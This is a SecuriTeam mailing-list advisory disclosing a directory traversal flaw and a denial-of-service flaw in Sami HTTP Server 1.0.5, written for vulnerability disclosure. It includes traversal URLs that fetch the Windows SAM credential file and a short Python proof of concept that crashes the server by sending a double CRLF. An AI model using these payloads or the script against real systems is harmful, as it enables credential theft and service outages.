The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Sami HTTP Server Directory Traversal and DoS
------------------------------------------------------------------------
SUMMARY
" <http://www.karja.com/samihttp/> Sami HTTP Server is an easy to set up
webserver, for when you value simplicity and ease of use".
Multiple vulnerabilities in Sami HTTP Server allow an attacker to read
arbitrary files on a vulnerable host and crash the server.
DETAILS
Vulnerable Systems:
* Sami HTTP Server v1.0.5.
Directory Traversal:
A remote user can obtain files on the system that are located outside of
the web document directory.
Example:
http://[Target]/../../winnt/repair/sam
http://[Target]/%2e%2e/%2e%2e/winnt/repair/sam
Denial of Service:
The web server can be crashed by sending two Carriage Return (CR) and Line
Feed (LF) [ \x0d\x0a ].
Proof of Concept Code:
#############################################
# GSS-IT Research And Security Labs #
#############################################
# #
# www.gssit.co.il #
# #
#############################################
# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #
#############################################
# Use This PoC For Educational Purposes Only #
#############################################
import sys
import socket
print("#############################################\n")
print("# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #\n")
print("#############################################\n\n")
if (len(sys.argv) < 3 ) :
print "Usage: %s <Target> <Port>" %sys.argv[0]
sys.exit(0)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = sys.argv[1]
port = int(sys.argv[2])
try:
server.connect((target,port))
print "Sending CRLF ...\n\n"
server.send("\x0d\x0a\x0d\x0a")
server.close()
print "Done ... Check your web server"
except:
print "Cannot connect to http server on %s" %target
ADDITIONAL INFORMATION
The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
